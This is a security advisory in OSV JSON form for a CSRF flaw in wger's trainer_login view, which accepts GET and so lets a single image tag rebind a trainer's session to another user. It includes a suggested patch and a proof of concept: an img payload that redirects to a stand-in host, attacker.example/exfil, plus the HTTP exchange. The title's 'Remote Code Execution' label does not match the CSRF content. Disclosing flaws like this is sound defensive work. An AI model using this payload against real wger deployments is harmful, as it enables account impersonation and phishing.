CVE-2026-45161: wger Remote Code Execution Vulnerability

{
  "schema_version" : "1.4.0",
  "id" : "GHSA-xf64-4pmc-h8qf",
  "modified" : "2026-10-07T13:45:34Z",
  "published" : "2026-10-07T13:45:33Z",
  "aliases" : [ "CVE-2026-45161" ],
  "summary" : "wger: trainer_login accepts GET - CSRF bypass enables forced session rebinding",
  "details" : "### Summary\n\nThe `trainer_login` view in wger accepts GET requests and executes `django_login()` without any CSRF protection, because Django's `CsrfViewMiddleware` only enforces tokens on unsafe methods (POST/PUT/PATCH/DELETE). An attacker can embed a single `<img>` tag on a malicious page; when an authenticated trainer loads that page, their browser auto-issues the GET with the session cookie, forcibly rebinding the trainer's session to an arbitrary user account.\n\n### Details\n\n**File**: `wger/core/views/user.py`, approximately lines 161-210\n\n```python\n# VULNERABLE - no @require_POST, no request.method == 'POST' guard\n# CsrfViewMiddleware is bypassed because CSRF enforcement only applies to\n# unsafe HTTP methods (POST, PUT, PATCH, DELETE)\ndef trainer_login(request, user_pk):\n    ...\n    django_login(request, user, backend='django.contrib.auth.backends.ModelBackend')\n    return HttpResponseRedirect(...)\n```\n\nBecause the view handles GET, Django's CSRF middleware does not validate any token. An attacker can place `<img src=\"https://wger.target/en/user/2/trainer-login\">` on any web page. When an authenticated trainer's browser loads that page, it issues the GET request with the session cookie attached (SameSite=Lax does not block same-site top-level navigation and subresource hops triggered by same-origin redirects). The server executes `django_login()` and issues a new session cookie binding the trainer to the victim user.\n\nPlaywright-verified in Chromium 147: the SameSite bypass occurs via a `?next=` redirect chain - the initial cross-origin subresource hop is blocked by SameSite, but the server's `302 -> /user/login?next=...` redirect causes the browser to follow a same-origin hop that attaches the cookie, and the subsequent redirect to the original URL executes the action.\n\n**Affected endpoint**:\n- `GET /en/user/<user_pk>/trainer-login` -> `wger.core.views.user.trainer_login`\n\n**Suggested patch**:\n\n```diff\n--- a/wger/core/views/user.py\n+++ b/wger/core/views/user.py\n+from django.views.decorators.http import require_POST\n+\n @login_required()\n+@require_POST\n def trainer_login(request, user_pk):\n     ...\n-    # Move ?next= handling to POST body - never use GET params for\n-    # security-sensitive redirects\n+    next_url = request.POST.get('next', reverse('core:index'))\n+    if not url_has_allowed_host_and_scheme(next_url, allowed_hosts={request.get_host()}):\n+        next_url = reverse('core:index')\n     return HttpResponseRedirect(next_url)\n```\n\nRequiring POST ensures Django's CSRF middleware validates the `csrfmiddlewaretoken` on every impersonation request, eliminating the CSRF vector. Moving `next` to the POST body also removes the open-redirect surface (submitted separately).\n\n### PoC\n\nTested on `wger/server:latest` Docker image + Playwright/Chromium 147. Victim: `trainer1` (`gym.gym_trainer` permission).\n\nStep 1 - Attacker hosts malicious page:\n\n```html\n<!-- evil.html -->\n<img src=\"http://target/en/user/2/trainer-login?next=//attacker.example/exfil\"\n     width=\"1\" height=\"1\">\n```\n\nStep 2 - Authenticated trainer loads evil.html. Browser auto-issues:\n\n```\nGET /en/user/2/trainer-login?next=//attacker.example/exfil HTTP/1.1\nHost: target\nCookie: sessionid=[trainer1_session]\n(no CSRF token required)\n```\n\nStep 3 - Server responds:\n\n```\nHTTP/1.1 302 Found\nLocation: //attacker.example/exfil\nSet-Cookie: sessionid=[alice_session]   <- session rebound to alice\n```\n\nStep 4 - Confirm impersonation:\n\n```\nGET /api/v2/userprofile/ HTTP/1.1\nCookie: sessionid=[alice_session]\n\n-> 200 OK: {\"username\":\"alice\",...}\n```\n\nReproducibility: 2/2 runs. Playwright browser verification confirmed SameSite=Lax is bypassed via the server's own `?next=` redirect chain.\n\n### Impact\n\nAn attacker who can cause an authenticated trainer to load a malicious page (phishing email, malicious link, third-party gym management tool integration, ad network, comment section with images) can forcibly switch the trainer's session to any user account in the gym - without the trainer's awareness or consent. The trainer's browser is then operating as the victim user. Combined with the `?next=` parameter, the post-impersonation redirect can send the trainer to the attacker's domain, amplifying phishing and credential-harvesting attacks.\n\nThis CSRF primitive is the delivery vector that unlocks the `trainer_login` scope bypass (separate submission) without requiring the attacker to compromise the trainer's credentials directly.\n\n**Affected deployments**: every wger instance where `gym.gym_trainer` is delegated to non-admin users.\n\n**Severity**: Medium (CVSS 5.4). Network-reachable, low complexity, low privilege (trainer role required as victim), requires page load (UI:R), scope change (attacker's origin via redirect).",
  "severity" : [ {
    "type" : "CVSS_V3",
    "score" : "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N"
  } ],
  "affected" : [ {
    "package" : {
      "ecosystem" : "PyPI",
      "name" : "wger"
    },
    "ranges" : [ {
      "type" : "ECOSYSTEM",
      "events" : [ {
        "introduced" : "0"
      }, {
        "last_affected" : "2.1"
      } ]
    } ]
  } ],
  "references" : [ {
    "type" : "WEB",
    "url" : "https://github.com/wger-project/wger/security/advisories/GHSA-xf64-4pmc-h8qf"
  }, {
    "type" : "PACKAGE",
    "url" : "https://github.com/wger-project/wger"
  }, {
    "type" : "WEB",
    "url" : "https://github.com/wger-project/wger/releases/tag/2.6"
  } ],
  "database_specific" : {
    "cwe_ids" : [ "CWE-352" ],
    "severity" : "MODERATE",
    "github_reviewed" : true,
    "github_reviewed_at" : "2026-10-07T13:45:33Z",
    "nvd_published_at" : null
  }
}